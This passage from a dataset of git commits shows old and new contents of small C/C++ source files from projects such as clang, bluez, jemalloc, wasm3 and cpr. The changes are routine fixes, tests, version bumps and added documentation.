91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"f3b2812917a934a84c2c4db1b402e6cb2ef22f43","old_file":"thingc\/execution\/Symbol.h","new_file":"thingc\/execution\/Symbol.h","old_contents":"#pragma once\n\n#include <memory>\n\n#include \"Opcode.h\"\n\nclass Symbol {\n\npublic:\n\tSymbol(Opcode opcode) : opcode(opcode) {};\n\tSymbol(Opcode opcode, unsigned int target) : opcode(opcode), target(target) {};\n\n\tvoid execute();\n\nprivate:\n\tOpcode opcode;\n\tunsigned int target;\n};\n","new_contents":"#pragma once\n\n#include <memory>\n\n#include \"Opcode.h\"\n\nclass Symbol {\n\npublic:\n\tSymbol(Opcode opcode) : opcode(opcode) {};\n\tSymbol(Opcode opcode, unsigned int target) : opcode(opcode), target(target) {};\n    Symbol(Opcode opcode, unsigned int target, unsigned int secondary) : opcode(opcode), target(target), secondary(secondary) {};\n\n\n    void execute();\n\nprivate:\n\tOpcode opcode;\n\tunsigned int target = 0;\n    unsigned int secondary = 0;\n};\n","subject":"Add optional secondary target argument","message":"Add optional secondary target argument\n","lang":"C","license":"mit","repos":"ytanay\/thinglang,ytanay\/thinglang,ytanay\/thinglang,ytanay\/thinglang"}
{"commit":"cd58e2e8514d2f8abd4abbeb2003722adc10c883","old_file":"knode\/resource.h","new_file":"knode\/resource.h","old_contents":"\/*\n    resource.h\n\n    KNode, the KDE newsreader\n    Copyright (c) 1999-2005 the KNode authors.\n    See file AUTHORS for details\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software Foundation,\n    Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, US\n*\/\n\n#ifndef RESSOURCE_H\n#define RESSOURCE_H\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n\n\/\/========= KNode Version Information ============\n\n#define KNODE_VERSION \"0.9.50\"\n\n\/\/================= StatusBar ====================\n\n#define SB_MAIN     4000005\n#define SB_GROUP      4000010\n#define SB_FILTER   4000030\n\n\n\/\/================== Folders =====================\n\n#define FOLD_DRAFTS 200010\n#define FOLD_SENT   200020\n#define FOLD_OUTB   200030\n\n\n#endif \/\/ RESOURCE_H\n","new_contents":"\/*\n    resource.h\n\n    KNode, the KDE newsreader\n    Copyright (c) 1999-2005 the KNode authors.\n    See file AUTHORS for details\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software Foundation,\n    Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, US\n*\/\n\n#ifndef RESSOURCE_H\n#define RESSOURCE_H\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n\n\/\/========= KNode Version Information ============\n\n#define KNODE_VERSION \"0.9.90\"\n\n\/\/================= StatusBar ====================\n\n#define SB_MAIN     4000005\n#define SB_GROUP      4000010\n#define SB_FILTER   4000030\n\n\n\/\/================== Folders =====================\n\n#define FOLD_DRAFTS 200010\n#define FOLD_SENT   200020\n#define FOLD_OUTB   200030\n\n\n#endif \/\/ RESOURCE_H\n","subject":"Increment version number for the upcoming alpha release.","message":"Increment version number for the upcoming alpha release.\n\nsvn path=\/branches\/KDE\/3.5\/kdepim\/; revision=442706\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
{"commit":"88f8bd2718d4941c67fbc0c7b7c8ab5750d9085d","old_file":"obexd\/src\/plugin.h","new_file":"obexd\/src\/plugin.h","old_contents":"\/*\n *\n *  OBEX Server\n *\n *  Copyright (C) 2007-2009  Marcel Holtmann <marcel@holtmann.org>\n *\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\nstruct obex_plugin_desc {\n\tconst char *name;\n\tint (*init) (void);\n\tvoid (*exit) (void);\n};\n\n#define OBEX_PLUGIN_DEFINE(name,init,exit) \\\n\t\tstruct obex_plugin_desc obex_plugin_desc = { \\\n\t\t\tname, init, exit \\\n\t\t};\n","new_contents":"\/*\n *\n *  OBEX Server\n *\n *  Copyright (C) 2007-2009  Marcel Holtmann <marcel@holtmann.org>\n *\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\nstruct obex_plugin_desc {\n\tconst char *name;\n\tint (*init) (void);\n\tvoid (*exit) (void);\n};\n\n#define OBEX_PLUGIN_DEFINE(name,init,exit) \\\n\t\textern struct obex_plugin_desc obex_plugin_desc \\\n\t\t\t\t__attribute__ ((visibility(\"default\"))); \\\n\t\tstruct obex_plugin_desc obex_plugin_desc = { \\\n\t\t\tname, init, exit \\\n\t\t};\n","subject":"Use GCC visibility for exporting symbols","message":"obexd: Use GCC visibility for exporting symbols\n","lang":"C","license":"lgpl-2.1","repos":"ComputeCycles\/bluez,pkarasev3\/bluez,ComputeCycles\/bluez,ComputeCycles\/bluez,pstglia\/external-bluetooth-bluez,pkarasev3\/bluez,silent-snowman\/bluez,mapfau\/bluez,pstglia\/external-bluetooth-bluez,pstglia\/external-bluetooth-bluez,pkarasev3\/bluez,silent-snowman\/bluez,silent-snowman\/bluez,pstglia\/external-bluetooth-bluez,mapfau\/bluez,mapfau\/bluez,pkarasev3\/bluez,mapfau\/bluez,ComputeCycles\/bluez,silent-snowman\/bluez"}
{"commit":"a45e44a9c9095cfa266647cd805e7301a9b06aab","old_file":"cbits\/timefuncs.c","new_file":"cbits\/timefuncs.c","old_contents":"#define _XOPEN_SOURCE\n#include <time.h>\n#include <locale.h>\n\n\nvoid set_c_locale() {\n    setlocale(LC_TIME, \"C\");\n}\n\n\ntime_t c_parse_http_time(char* s) {\n    struct tm dest;\n    strptime(s, \"%a, %d %b %Y %H:%M:%S GMT\", &dest);\n    return mktime(&dest);\n}\n\nvoid c_format_http_time(time_t src, char* dest) {\n    struct tm t;\n    gmtime_r(&src, &t);\n    strftime(dest, 40, \"%a, %d %b %Y %H:%M:%S GMT\", &t);\n}\n","new_contents":"#define _XOPEN_SOURCE\n#include <time.h>\n#include <locale.h>\n\n\nvoid set_c_locale() {\n    setlocale(LC_TIME, \"C\");\n}\n\n\ntime_t c_parse_http_time(char* s) {\n    struct tm dest;\n    strptime(s, \"%a, %d %b %Y %H:%M:%S GMT\", &dest);\n    return timegm(&dest);\n}\n\nvoid c_format_http_time(time_t src, char* dest) {\n    struct tm t;\n    gmtime_r(&src, &t);\n    strftime(dest, 40, \"%a, %d %b %Y %H:%M:%S GMT\", &t);\n}\n","subject":"Fix timezone issue -- call the correct C function","message":"Fix timezone issue -- call the correct C function\n","lang":"C","license":"bsd-3-clause","repos":"23Skidoo\/snap-core,sopvop\/snap-core,snapframework\/snap-core,23Skidoo\/snap-core,snapframework\/snap-core,f-me\/snap-core,sopvop\/snap-core,snapframework\/snap-core,23Skidoo\/snap-core,sopvop\/snap-core,f-me\/snap-core,f-me\/snap-core"}
{"commit":"3abdc74015406d1582439810f3cb5c052dded0c6","old_file":"src\/tincan\/bussignaldef.h","new_file":"src\/tincan\/bussignaldef.h","old_contents":"#ifndef TIN_BUSSIGNALDEF_H\n#define TIN_BUSSIGNALDEF_H\n\n\n#include <cstdint>\n#include <string>\n\n\nnamespace tin\n{\n\n\nenum class Byte_order : std::uint8_t { Intel, Moto };\nenum class Value_sign : std::uint8_t { Signed, Unsigned };\n\n\nstruct Bus_signal_def\n{\n  bool multiplex_switch;\n  Byte_order order;\n  Value_sign sign;\n  std::int32_t multiplex_value;\n  std::uint32_t pos;\n  std::uint32_t len;\n  double factor;\n  double offset;\n  double minimum;\n  double maximum;\n  std::string unit;\n  std::string name;\n};\n\n\n}  \/\/ namespace tin\n\n\n#endif  \/\/ TIN_BUSSIGNALDEF_H\n","new_contents":"#ifndef TIN_BUSSIGNALDEF_H\n#define TIN_BUSSIGNALDEF_H\n\n\n#include <cstdint>\n#include <string>\n#include <vector>\n\n\nnamespace tin\n{\n\n\nenum class Byte_order : std::uint8_t { Intel, Moto };\nenum class Value_sign : std::uint8_t { Signed, Unsigned };\n\n\nstruct Bus_signal_meta_data\n{\n  std::int8_t factor_precision = 7;\n  std::int8_t offset_precision = 7;\n  std::int8_t minimum_precision = 7;\n  std::int8_t maximum_precision = 7;\n};\n\n\nstruct Bus_signal_def\n{\n  bool multiplex_switch;\n  Byte_order order;\n  Value_sign sign;\n  std::int32_t multiplex_value;\n  std::uint32_t pos;\n  std::uint32_t len;\n  double factor;\n  double offset;\n  double minimum;\n  double maximum;\n  std::string unit;\n  std::string name;\n  std::vector<std::string> receiver;\n  Bus_signal_meta_data meta_data;\n};\n\n\n}  \/\/ namespace tin\n\n\n#endif  \/\/ TIN_BUSSIGNALDEF_H\n","subject":"Add receiver and meta data","message":"Add receiver and meta data\n","lang":"C","license":"mit","repos":"jwkpeter\/tincan"}
{"commit":"5b8106e848d99433f62310dbf3cb80ef9812e572","old_file":"include\/msvc_compat\/C99\/stdbool.h","new_file":"include\/msvc_compat\/C99\/stdbool.h","old_contents":"#ifndef stdbool_h\n#define stdbool_h\n\n#include <wtypes.h>\n\n\/* MSVC doesn't define _Bool or bool in C, but does have BOOL *\/\n\/* Note this doesn't pass autoconf's test because (bool) 0.5 != true *\/\ntypedef BOOL _Bool;\n\n#define bool _Bool\n#define true 1\n#define false 0\n\n#define __bool_true_false_are_defined 1\n\n#endif \/* stdbool_h *\/\n","new_contents":"#ifndef stdbool_h\n#define stdbool_h\n\n#include <wtypes.h>\n\n\/* MSVC doesn't define _Bool or bool in C, but does have BOOL *\/\n\/* Note this doesn't pass autoconf's test because (bool) 0.5 != true *\/\n\/* Clang-cl uses MSVC headers, so needs msvc_compat, but has _Bool as\n * a built-in type. *\/\n#ifndef __clang__\ntypedef BOOL _Bool;\n#endif\n\n#define bool _Bool\n#define true 1\n#define false 0\n\n#define __bool_true_false_are_defined 1\n\n#endif \/* stdbool_h *\/\n","subject":"Allow to build with clang-cl","message":"Allow to build with clang-cl\n","lang":"C","license":"bsd-2-clause","repos":"geekboxzone\/lollipop_external_jemalloc,TeamExodus\/external_jemalloc,TeamExodus\/external_jemalloc,geekboxzone\/mmallow_external_jemalloc,xin3liang\/platform_external_jemalloc,VRToxin\/android_external_jemalloc,geekboxzone\/lollipop_external_jemalloc,CMRemix\/android_external_jemalloc,sudosurootdev\/external_jemalloc,CMRemix\/android_external_jemalloc,CyanogenMod\/android_external_jemalloc,CyanogenMod\/android_external_jemalloc,android-ia\/platform_external_jemalloc,geekboxzone\/mmallow_external_jemalloc,android-ia\/platform_external_jemalloc,AndroidExternal\/jemalloc,VRToxin\/android_external_jemalloc,sudosurootdev\/external_jemalloc,VRToxin\/android_external_jemalloc,CMRemix\/android_external_jemalloc,CyanogenMod\/android_external_jemalloc,TeamExodus\/external_jemalloc,geekboxzone\/mmallow_external_jemalloc,AndroidExternal\/jemalloc,AndroidExternal\/jemalloc,android-ia\/platform_external_jemalloc,CMRemix\/android_external_jemalloc,geekboxzone\/mmallow_external_jemalloc,VRToxin\/android_external_jemalloc,AndroidExternal\/jemalloc,xin3liang\/platform_external_jemalloc,sudosurootdev\/external_jemalloc,xin3liang\/platform_external_jemalloc,geekboxzone\/lollipop_external_jemalloc,geekboxzone\/lollipop_external_jemalloc,sudosurootdev\/external_jemalloc,xin3liang\/platform_external_jemalloc,CyanogenMod\/android_external_jemalloc,TeamExodus\/external_jemalloc,android-ia\/platform_external_jemalloc"}
{"commit":"7143facc65a8e86649d874f1910442615d367524","old_file":"test\/Driver\/aarch64-rdm.c","new_file":"test\/Driver\/aarch64-rdm.c","old_contents":"","new_contents":"\/\/ RUN: %clang -target aarch64-none-none-eabi -march=armv8a+rdm -### -c %s 2>&1 | FileCheck --check-prefix=CHECK-RDM %s\n\/\/ RUN: %clang -target aarch64-none-none-eabi -mcpu=generic+rdm -### -c %s 2>&1 | FileCheck --check-prefix=CHECK-RDM %s\n\/\/ RUN: %clang -target aarch64-none-none-eabi -mcpu=falkor -### -c %s 2>&1 | FileCheck --check-prefix=CHECK-RDM %s\n\/\/ RUN: %clang -target aarch64-none-none-eabi -mcpu=thunderx2t99 -### -c %s 2>&1 | FileCheck --check-prefix=CHECK-RDM %s\n\/\/ CHECK-RDM: \"-target-feature\" \"+rdm\"\n\n\/\/ RUN: %clang -target aarch64-none-none-eabi -march=armv8a+nordm -### -c %s 2>&1 | FileCheck --check-prefix=CHECK-NORDM %s\n\/\/ RUN: %clang -target aarch64-none-none-eabi -mcpu=generic+nordm -### -c %s 2>&1 | FileCheck --check-prefix=CHECK-NORDM %s\n\/\/ CHECK-NORDM: \"-target-feature\" \"-rdm\"\n","subject":"Add tests for RDM feature.","message":"[Driver][AArch64] Add tests for RDM feature.\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D37106\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@311660 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"030b5129d7f4693d8425740c0639a007c46902a7","old_file":"code\/Modules\/Core\/posix\/precompiled.h","new_file":"code\/Modules\/Core\/posix\/precompiled.h","old_contents":"#pragma once\r\n\/\/------------------------------------------------------------------------------\r\n\/**\r\n    @file core\/posix\/precompiled.h\r\n    \r\n    Standard includes for POSIX platforms. \r\n    NOTE: keep as many headers out of here as possible, at least\r\n    on compilers which don't have pre-compiled-headers turned on.\r\n*\/\r\n#ifdef __STRICT_ANSI__\r\n#undef __STRICT_ANSI__\r\n#endif\r\n\r\n#include <cstddef>\r\n","new_contents":"#pragma once\r\n\/\/------------------------------------------------------------------------------\r\n\/**\r\n    @file core\/posix\/precompiled.h\r\n    \r\n    Standard includes for POSIX platforms. \r\n    NOTE: keep as many headers out of here as possible, at least\r\n    on compilers which don't have pre-compiled-headers turned on.\r\n*\/\r\n\r\n\/\/ this is a workaround when using clang with the GNU std lib,\r\n\/\/ this fails without __STRICT_ANSI__ because clang doesn't\r\n\/\/ know the __float128 type\r\n#if __clang__ && ORYOL_LINUX && !defined __STRICT_ANSI__\r\n#define __STRICT_ANSI__\r\n#endif\r\n#include <cstddef>\r\n","subject":"Fix for compile error on Linux when using clang with GNU std c++ lib (__STRICT_ANSI__ is required)","message":"Fix for compile error on Linux when using clang with GNU std c++ lib (__STRICT_ANSI__ is required)\n","lang":"C","license":"mit","repos":"aonorin\/oryol,floooh\/oryol,aonorin\/oryol,aonorin\/oryol,aonorin\/oryol,aonorin\/oryol,aonorin\/oryol,floooh\/oryol,floooh\/oryol,aonorin\/oryol,floooh\/oryol,floooh\/oryol,floooh\/oryol"}
{"commit":"8fc20aab3269a76b9791c98213a7eb3106da7a83","old_file":"TJDropbox\/TJDropboxAuthenticator.h","new_file":"TJDropbox\/TJDropboxAuthenticator.h","old_contents":"\/\/\n\/\/  TJDropboxAuthenticator.h\n\/\/  Close-up\n\/\/\n\/\/  Created by Tim Johnsen on 3\/14\/20.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\nAPI_AVAILABLE(ios(10.0)) @interface TJDropboxAuthenticator : NSObject\n\n+ (void)authenticateWithClientIdentifier:(NSString *const)clientIdentifier\n                     bypassingNativeAuth:(const BOOL)bypassNativeAuth\n                              completion:(void (^)(NSString *))completion;\n\n+ (BOOL)tryHandleAuthenticationCallbackWithURL:(NSURL *const)url;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/\n\/\/  TJDropboxAuthenticator.h\n\/\/  Close-up\n\/\/\n\/\/  Created by Tim Johnsen on 3\/14\/20.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\nAPI_AVAILABLE(ios(10.0)) @interface TJDropboxAuthenticator : NSObject\n\n\/**\n * Invoke this to initiate auth\n * @param clientIdentifier Your registered Dropbox client identifier.\n * @param bypassNativeAuth Pass @c YES to skip authentication via the Dropbox app and force auth to occur via the web.\n * @param completion Block invoked when auth is complete. @c accessToken will be @c nil if auth wasn't completed.\n *\/\n+ (void)authenticateWithClientIdentifier:(NSString *const)clientIdentifier\n                     bypassingNativeAuth:(const BOOL)bypassNativeAuth\n                              completion:(void (^)(NSString *_Nullable accessToken))completion;\n\n\/\/\/ Invoke this from your app delegate's implementation of -application:openURL:options:, returns whether or not the URL was a completion callback to Dropbox auth.\n+ (BOOL)tryHandleAuthenticationCallbackWithURL:(NSURL *const)url;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Add docs to authenticator header.","message":"Add docs to authenticator header.\n","lang":"C","license":"bsd-3-clause","repos":"timonus\/TJDropbox"}
{"commit":"8294d17917c0031ec37a25dd7de2d21cea0c2c66","old_file":"src\/unit_VEHICLE\/models\/generic\/Generic_RackPinion.h","new_file":"src\/unit_VEHICLE\/models\/generic\/Generic_RackPinion.h","old_contents":"","new_contents":"\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All right reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\/\/ Authors: Radu Serban\n\/\/ =============================================================================\n\/\/\n\/\/ Generic rack-pinion steering model.\n\/\/\n\/\/ =============================================================================\n\n#ifndef GENERIC_RACKPINION_H\n#define GENERIC_RACKPINION_H\n\n#include \"subsys\/steering\/ChRackPinion.h\"\n\nclass Generic_RackPinion : public chrono::ChRackPinion\n{\npublic:\n\n  Generic_RackPinion(const std::string& name) : ChRackPinion(name) {}\n  ~Generic_RackPinion() {}\n\n  virtual double GetSteeringLinkMass() const                       { return 9.0; }\n  virtual const chrono::ChVector<>& GetSteeringLinkInertia() const { return chrono::ChVector<>(1, 1, 1); }\n  virtual double GetSteeringLinkCOM() const                        { return 0.0; }\n  virtual double GetSteeringLinkRadius() const                     { return 0.03; }\n  virtual double GetSteeringLinkLength() const                     { return 0.896; }\n\n  virtual double GetPinionRadius() const                           { return 0.1; }\n\n  virtual double GetMaxAngle() const                               { return 0.87; }\n};\n\n\n#endif\n","subject":"Add a generic rack-pinion steering subsystem.","message":"Add a generic rack-pinion steering subsystem.\n","lang":"C","license":"bsd-3-clause","repos":"armanpazouki\/chrono,jcmadsen\/chrono,projectchrono\/chrono,dariomangoni\/chrono,Bryan-Peterson\/chrono,Milad-Rakhsha\/chrono,jcmadsen\/chrono,Milad-Rakhsha\/chrono,andrewseidl\/chrono,Bryan-Peterson\/chrono,dariomangoni\/chrono,jcmadsen\/chrono,rserban\/chrono,rserban\/chrono,tjolsen\/chrono,jcmadsen\/chrono,armanpazouki\/chrono,projectchrono\/chrono,projectchrono\/chrono,Bryan-Peterson\/chrono,dariomangoni\/chrono,rserban\/chrono,armanpazouki\/chrono,tjolsen\/chrono,amelmquist\/chrono,amelmquist\/chrono,dariomangoni\/chrono,andrewseidl\/chrono,amelmquist\/chrono,Bryan-Peterson\/chrono,rserban\/chrono,armanpazouki\/chrono,Milad-Rakhsha\/chrono,andrewseidl\/chrono,rserban\/chrono,armanpazouki\/chrono,andrewseidl\/chrono,jcmadsen\/chrono,tjolsen\/chrono,projectchrono\/chrono,jcmadsen\/chrono,amelmquist\/chrono,dariomangoni\/chrono,andrewseidl\/chrono,rserban\/chrono,tjolsen\/chrono,amelmquist\/chrono,projectchrono\/chrono,dariomangoni\/chrono,Milad-Rakhsha\/chrono,armanpazouki\/chrono,tjolsen\/chrono,Bryan-Peterson\/chrono,rserban\/chrono,Milad-Rakhsha\/chrono,projectchrono\/chrono,jcmadsen\/chrono,Milad-Rakhsha\/chrono,amelmquist\/chrono"}
{"commit":"a74363011638771c83555614cf2fafd1ef854bfd","old_file":"hab\/proxr\/cb-set-resource.c","new_file":"hab\/proxr\/cb-set-resource.c","old_contents":"#include <string.h>\n#include <stdlib.h>\n#include \"proxrcmds.h\"\n#include \"sim-hab.h\"\n\nvoid cb_set_resource(bionet_resource_t *resource, bionet_value_t *value)\n{\n    double data;\n    double content;\n    char number[3];\n    char *res_name = NULL;\n    long int id;\n    bionet_node_t *node;\n\n    bionet_value_get_double(value, &data);\n    if(data < 0 || data > 255)\n\treturn;\n\n    node = bionet_resource_get_node(resource);\n    bionet_split_resource_name(bionet_resource_get_name(resource), NULL, NULL, NULL, &res_name);\n\n    \/\/ extract pot number from resource name\n    number[0] = res_name[4];\n    number[1] = res_name[5];\n    number[2] = '\\0';\n    id = strtol(number, NULL, 10);\n    \n    \/\/ command proxr to adjust to new value\n    set_potentiometer(id, (int)data);\n    \/\/ set resources datapoint to new value and report\n    content = data*POT_CONVERSION;\n    bionet_resource_set_double(resource, content, NULL);\n    hab_report_datapoints(node);\n}\n   \n","new_contents":"#include <string.h>\n#include <stdlib.h>\n#include \"proxrcmds.h\"\n#include \"sim-hab.h\"\n\nvoid cb_set_resource(bionet_resource_t *resource, bionet_value_t *value)\n{\n    double data;\n    double content;\n    char number[3];\n    char *res_name = NULL;\n    long int id;\n    bionet_node_t *node;\n\n    bionet_value_get_double(value, &data);\n    if(data < 0)\n        data = 0;\n    if(data > 5)\n        data = 5;\n\n    node = bionet_resource_get_node(resource);\n    bionet_split_resource_name(bionet_resource_get_name(resource), NULL, NULL, NULL, &res_name);\n\n    \/\/ extract pot number from resource name\n    number[0] = res_name[4];\n    number[1] = res_name[5];\n    number[2] = '\\0';\n    id = strtol(number, NULL, 10);\n   \n    \/\/ proxr hardware works with 8 bit resolution 0-255 steps \n    data = data\/POT_CONVERSION;\n    \/\/ command proxr to adjust to new value\n    set_potentiometer(id, (int)data);\n    \/\/ set resources datapoint to new value and report\n    content = data*POT_CONVERSION;\n    bionet_resource_set_double(resource, content, NULL);\n    hab_report_datapoints(node);\n}\n   \n","subject":"Change how proxr resources are set. Previously it was given a value 0-255 which the proxr hardware uses to set the voltage. now just give it a voltage and do the conversion in the hab. also if a voltage supplied is out of range it snaps to nearest in range.","message":"Change how proxr resources are set. Previously it was given a value 0-255 which the proxr hardware uses to set the voltage. now just give it a voltage and do the conversion in the hab. also if a voltage supplied is out of range it snaps to nearest in range.\n","lang":"C","license":"lgpl-2.1","repos":"ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead"}
{"commit":"41df6d94b734a98f77b27794b9289be2391bc29b","old_file":"src\/compiler\/util\/result.h","new_file":"src\/compiler\/util\/result.h","old_contents":"#ifndef COMPILER_UTIL_RESULT_H_\n#define COMPILER_UTIL_RESULT_H_\n\n#include <string>\n\nnamespace tree_sitter {\nnamespace util {\n\ntemplate <typename Value>\nstruct Result {\n  Value value;\n  std::string error;\n\n  inline Result() : error(\"Empty\") {}\n  inline Result(Value &&v) : value(v) {}\n  inline Result(const std::string &message) : error(message) {}\n  inline Result(const char *message) : error(message) {}\n  inline bool ok() const { return error.empty(); }\n};\n\n}  \/\/ namespace util\n}  \/\/ namespace tree_sitter\n\n#endif  \/\/ COMPILER_UTIL_RESULT_H_\n","new_contents":"#ifndef COMPILER_UTIL_RESULT_H_\n#define COMPILER_UTIL_RESULT_H_\n\n#include <string>\n\nnamespace tree_sitter {\nnamespace util {\n\ntemplate <typename Value>\nstruct Result {\n  Value value;\n  std::string error;\n\n  inline Result() : error(\"Empty\") {}\n  inline Result(const Value &v) : value(v) {}\n  inline Result(Value &&v) : value(std::move(v)) {}\n  inline Result(const std::string &message) : error(message) {}\n  inline Result(const char *message) : error(message) {}\n  inline bool ok() const { return error.empty(); }\n};\n\n}  \/\/ namespace util\n}  \/\/ namespace tree_sitter\n\n#endif  \/\/ COMPILER_UTIL_RESULT_H_\n","subject":"Allow Result to be constructed with an l-value","message":"Allow Result to be constructed with an l-value\n\nThis fixes compile errors on old C++ compilers\n","lang":"C","license":"mit","repos":"tree-sitter\/tree-sitter,tree-sitter\/tree-sitter,tree-sitter\/tree-sitter,tree-sitter\/tree-sitter,tree-sitter\/tree-sitter,tree-sitter\/tree-sitter,tree-sitter\/tree-sitter"}
{"commit":"3e69b820d360bd96ce3c8c6714835115847c49a4","old_file":"source\/m3_api_defs.h","new_file":"source\/m3_api_defs.h","old_contents":"\/\/\n\/\/  m3_api_defs.h\n\/\/\n\/\/  Created by Volodymyr Shymanskyy on 12\/20\/19.\n\/\/  Copyright © 2019 Volodymyr Shymanskyy. All rights reserved.\n\/\/\n\n#ifndef m3_api_defs_h\n#define m3_api_defs_h\n\n#include \"m3_core.h\"\n\n#define m3ApiReturnType(TYPE)      TYPE* raw_return = ((TYPE*) (_sp));\n#define m3ApiGetArg(TYPE, NAME)    TYPE NAME = * ((TYPE *) (_sp++));\n#define m3ApiGetArgMem(TYPE, NAME) TYPE NAME = (TYPE) (_mem + * (u32 *) _sp++);\n\n#define m3ApiRawFunction(NAME)     void NAME (IM3Runtime runtime, u64 * _sp, u8 * _mem)\n#define m3ApiReturn(VALUE)         { *raw_return = (VALUE); return; }\n\n#endif \/* m3_api_defs_h *\/\n","new_contents":"\/\/\n\/\/  m3_api_defs.h\n\/\/\n\/\/  Created by Volodymyr Shymanskyy on 12\/20\/19.\n\/\/  Copyright © 2019 Volodymyr Shymanskyy. All rights reserved.\n\/\/\n\n#ifndef m3_api_defs_h\n#define m3_api_defs_h\n\n#include \"m3_core.h\"\n\n#define m3ApiReturnType(TYPE)      TYPE* raw_return = ((TYPE*) (_sp));\n#define m3ApiGetArg(TYPE, NAME)    TYPE NAME = * ((TYPE *) (_sp++));\n#define m3ApiGetArgMem(TYPE, NAME) TYPE NAME = (TYPE) (_mem + * (u32 *) _sp++);\n\n#define m3ApiRawFunction(NAME)     m3ret_t NAME (IM3Runtime runtime, u64 * _sp, u8 * _mem)\n#define m3ApiReturn(VALUE)         { *raw_return = (VALUE); return NULL; }\n\n#endif \/* m3_api_defs_h *\/\n","subject":"Fix type missmatch (crucial for wasienv)","message":"Fix type missmatch (crucial for wasienv)\n","lang":"C","license":"mit","repos":"wasm3\/wasm3,wasm3\/wasm3,wasm3\/wasm3,wasm3\/wasm3,wasm3\/wasm3,wasm3\/wasm3,wasm3\/wasm3"}
{"commit":"81ac9438c400140ea6d56ee30ded7ea74135a8b3","old_file":"include\/payload.h","new_file":"include\/payload.h","old_contents":"#ifndef CPR_PAYLOAD_H\n#define CPR_PAYLOAD_H\n\n#include <memory>\n#include <string>\n#include <initializer_list>\n\nnamespace cpr {\n\nstruct Pair {\n    Pair(const std::string& key, const std::string& value) : key{key}, value{value} {}\n    Pair(const std::string& key, const int& value) : key{key}, value{std::to_string(value)} {}\n\n    std::string key;\n    std::string value;\n};\n\nclass Payload {\n  public:\n    Payload(const std::initializer_list<Pair>& pairs);\n    Payload(const std::string& content) : content{content} {}\n    Payload(std::string&& content) : content{std::move(content)} {}\n\n    std::string content;\n};\n\n} \/\/ namespace cpr\n\n#endif\n","new_contents":"#ifndef CPR_PAYLOAD_H\n#define CPR_PAYLOAD_H\n\n#include <memory>\n#include <string>\n#include <initializer_list>\n\nnamespace cpr {\n\nstruct Pair {\n    Pair(const std::string& key, const std::string& value) : key{key}, value{value} {}\n    Pair(const std::string& key, const int& value) : key{key}, value{std::to_string(value)} {}\n\n    std::string key;\n    std::string value;\n};\n\nclass Payload {\n  public:\n    Payload(const std::initializer_list<Pair>& pairs);\n\n    std::string content;\n};\n\n} \/\/ namespace 